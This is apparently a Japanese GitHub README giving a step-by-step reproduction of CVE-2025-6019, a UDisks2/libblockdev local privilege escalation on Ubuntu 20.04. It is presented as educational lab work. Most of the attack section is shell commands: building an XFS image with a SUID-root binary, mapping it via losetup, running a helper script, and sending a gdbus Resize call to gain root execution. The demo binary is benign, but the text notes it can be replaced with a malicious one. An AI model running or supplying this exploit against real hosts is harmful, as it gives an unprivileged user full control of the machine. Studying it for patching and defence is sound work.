CVE-2025-6019 – UDisks2 ResizeFilesystem 脆弱性 (教育目的の再現)

このリポジトリは、管理されたラボ環境（Ubuntu VM、非本番）で実施された CVE-2025-6019 の教育目的の再現を文書化しています。

🛡️ セキュリティ通知

この研究は、サンドボックス化された Ubuntu 環境で CVE-2025-6019 を再現し、UDisks2 脆弱性の根本原因と緩和策を分析します。
すべての結果は責任を持って共有され、認識の向上とパッチの導入を支援することを目的としています。
ベンダーまたはメンテナーの方は、システムに最新のセキュリティ更新が適用されていることを確認してください。

はじめに

この CVE 脆弱性は、Linux のファイルシステム管理コンポーネント（このケースでは udisk/udisk2、libblockdev、Polkit）間の連携が不十分であることに起因する、Linux システムにおけるローカル権限昇格の一種です。このバグにより、ローカルユーザー（非特権攻撃者）が、SUID ビットが設定された root 所有のファイルを含む悪意のあるファイルシステムイメージをマウントし、そのイメージから SUID-root バイナリを実行し、最終的にホストの完全な制御を取得することが可能になります。

攻撃方法

ステップ 1: 環境セットアップ

この攻撃は Ubuntu 20.04.6 仮想マシン上で実施されます。
すべてのテストは隔離されたローカル VM 内で実行され、ネットワーク接続や破壊的なペイロードは使用されません。目的は純粋に、安全な条件下で権限の変化を観察し、脆弱性を検証することです。

このリポジトリをクローンし、check_root.c と exploit_helper.sh ファイルが存在することを確認してください

~$ gcc check_root.c -o check_root

udisk2 と libblockdev のバージョンを確認:

~$ dpkg -l | grep libblockdev
~$ dpkg -l | grep udisk
~$ sudo apt install -y build-essential xfsprogs 
# 期待される結果: libblockdev バージョン 2.23-2ubuntu3、udisk2 バージョン 2.8.4-1ubuntu2

ステップ 2: ペイロードの準備 (攻撃者マシン)

目標は破壊的なプログラムを作成することではないことに注意してください。 check_root.c は、実行時に (getuid() & geteuid() 関数によって) 実際の UID と実効 UID のみを表示する無害なテストプログラムですが、これを悪意のあるバイナリに置き換えると、システムが損傷を受ける可能性があります。

イメージファイルを作成:

~$ dd if=/dev/zero of=malicious_xfs.img bs=1M count=16
~$ sudo mkfs.xfs malicious_xfs.img

checkroot.c をイメージにコピーし、SUID フラグを付与:

~$ mkdir /tmp/xfs_mnt
~$ sudo mount -o loop malicious_xfs.img /tmp/xfs_mnt
~$ sudo cp check_root /tmp/xfs_mnt/
~$ sudo chmod 4755 /tmp/xfs_mnt/check_root
~$ sudo umount /tmp/xfs_mnt
~$ rmdir /tmp/xfs_mnt
~$ mount | grep malicious  
# 期待される結果: 戻り値なし。

イメージがまだマウントされている場合は、アンマウントしてください。この段階を経て、SUID フラグと root 所有者のメタデータを持つ悪意のあるファイル（checkroot.c）を含む悪意のあるイメージが作成されます。
このメタデータは Linux マシン間でファイルをコピーする際に一貫して保持され、Linux は "nosuid" によって保護されていますが、このシナリオでは影響を受けません。

ステップ 3: 攻撃 (ターゲットマシン上)

このステップでは、イメージをターゲットマシンにマッピングし、内部の悪意のあるファイルを実行します。この動作は、悪意のある USB を Linux マシンに差し込むことに似ています。

~$ losetup
# どの /dev/loop* デバイスが使用中かを確認し、新しいデバイスを作成して、ステップ2で作成した悪意のあるイメージをマウントします。たとえば、/dev/loop1-8 が表示された場合、/dev/loop9 を作成します:
~$ sudo losetup /dev/loop9 malicious_xfs.img
~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \  $LOOP_DEVICE)"
~$ Echo $OBJECT_PATH
#期待される結果: /org/freedesktop/UDisks2/block_devices/loop9
事前確認: 
~$ cat /proc/mounts | grep "$LOOP_DEVICE" | grep 'xfs' | awk '{print $2}'
#期待される結果: 戻り値なし

exploitation_helper ファイルを実行:

~$ chmod +x exploit_helper.sh
~$ ./exploit_helper.sh

2 番目のターミナルを開き、システム (UDisks2) に提示されたブロックデバイスのリサイズを要求する D-Bus リクエストを送信します。

~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \ $LOOP_DEVICE)"
~$ echo $OBJECT_PATH
#期待される結果: /org/freedesktop/UDisks2/block_devices/loop9
~$ gdbus call --system --dest org.freedesktop.UDisks2 --object-path \ /org/freedesktop/UDisks2/block_devices/loop9 --method \ org.freedesktop.UDisks2.Filesystem.Resize -t 10 "uint64 0" "{}"

攻撃用端末の確認: 成功

成功の理由: イメージが losetup で手動でマッピングされ、その後手動でマウントされた場合 (udisksd が存在するシステムであっても)、マウントは異なるコンテキスト、異なるオプション、異なるライフサイクルセマンティクスの下で実行されました。このシナリオでは、ファイルシステムは udisksd が適用する安全フラグと同じものでマウントされなかったため、イメージ内の setuid バイナリが有効になり、攻撃ステップは成功しました。

Ubuntu セキュリティチームは、CVE-2025-6019 に対応する UDisks2 のパッチ適用済みバージョンを既にリリースしています。

⚠️ 免責事項
このリポジトリは教育目的のみに使用してください。
このコンテンツのいかなる部分も、実際のシステムへの攻撃や改変に使用しないでください。
著者および貢献者は、誤用に対する一切の責任を負いません。

CVE-2025-6019-Exploitation

人気